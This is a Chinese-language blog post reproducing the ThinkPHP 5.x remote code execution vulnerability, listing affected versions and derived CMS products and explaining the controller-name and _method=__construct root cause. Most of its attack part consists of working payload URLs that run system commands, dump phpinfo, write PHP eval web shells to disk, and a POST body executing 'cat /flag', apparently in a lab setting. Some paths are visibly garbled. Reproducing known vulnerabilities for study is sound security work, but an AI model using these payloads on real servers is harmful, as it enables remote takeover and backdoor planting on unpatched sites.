zoukankan      html  css  js  c++  java
  • ThinkPHP 5.x远程命令执行漏洞复现

    0x00:漏洞概述

    ThinkPHP 是一个免费开源的,快速、简单的面向对象的 轻量级PHP开发框架

    ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。

    漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。

    参考链接:

    https://www.freebuf.com/column/194100.html

    https://www.cnblogs.com/yuzly/p/11460285.html

    0x01:影响版本

    Thinkphp 5.x-Thinkphp 5.1.31

    Thinkphp 5.0.x<=5.0.23

    5.0.0~5.0.23版本。

    官方已在5.0.24版本修复该漏洞。

    以下基于ThinkPHP 5 二次开发的内容管理系统,很可能受到该漏洞影响

    AdminLTE后台管理系统
    layui后台管理系统
    thinkcmf
    H-ui.admin后台管理系统
    tpshop
    FsatAdmin
    eyoucms
    LarryCMS后台管理系统
    tpadmin后台管理系统
    snake后台管理系统
    ThinkSNS
    DolphinPHP后台管理系统
    WeMall商城系统
    CLTPHP
    齐博CMS
    DSMALL
    YFCMF
    HisiPHP后台管理系统
    Tplay后台管理系统
    lyadmin后台管理系统
    haoid后台管理系统

    0x02:漏洞原理

    (1)payloads

    利用system函数远程命令执行

    ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

    利用phpinfo函数查看phpinfo()的信息

    ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

    /public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

    写入shell 方法一

    ?s=/index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[ddg1]);?^> >shell.php

    注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

    写入shell 方法二

    ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[ddg2]);?>

    原理

    ThinkPHP 5.x hinkphplibrary hink

    本次漏洞触发点在Request.php文件里的method方法中,该方法的功能主要是判断请求类型。

    这里判断是否存在’var_method’,如果存在则执行$this->{$this->method}($_POST);

    在config.php中,可以看到 ‘var_method’ 是表单请求伪变量,其默认值为 ‘_method’。

    这里可以POST _method=__construct用构造函数来进行变量覆盖,实现命令执行。

    在构造函数中,会判断其传入参数的key是否是该类属性,如果是,则将对应的value赋值给该属性,可以进行变量覆盖。(从这里开始就不知道在说啥了    -_-'''  )

     再看全局过滤函数filtervalue,根据上一步的变量覆盖,POST filter[]=system,将$filter赋值为array(‘system’),同时POST 123456=whoami,触发过滤函数,调用call_user_func方法,执行whoami命令。

     0x03:漏洞测试

    1、利用system函数远程命令执行

     ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig

    win xp 还没有whoami 命令???   https://blog.51cto.com/ilanni/552267

    2、通过phpinfo函数查看phpinfo()的信息

    利用phpinfo函数查看phpinfo()的信息

    ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

    /public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

     

    3、写入shell 方法一

    ?s=/index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[ddg1]);?^> >shell.php

    注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

     

     

    4、写入shell 方法二

    ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../shell2.php&vars[1][]=<?php @eval($_POST[ddg2]);?>

    这次路径前一层

     

    5.0.23

    参考:https://blog.csdn.net/xuandao_ahfengren/article/details/86333189

     ?s=captcha


    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

  • 相关阅读:
    hdu 1253
    poj 2531 Network Saboteur
    rwkj 1501 数据结构:图的DFS遍历
    rwkj 1306 素数========拓展
    nyist 91 阶乘之和
    nyist 65 另一种阶乘问题
    nyist 31 5个数求最值
    nyist 22 素数求和
    向量 vector
    字符串 统计 ,删除,连接,变换
  • 原文地址:https://www.cnblogs.com/liqik/p/12595352.html
Copyright © 2011-2022 走看看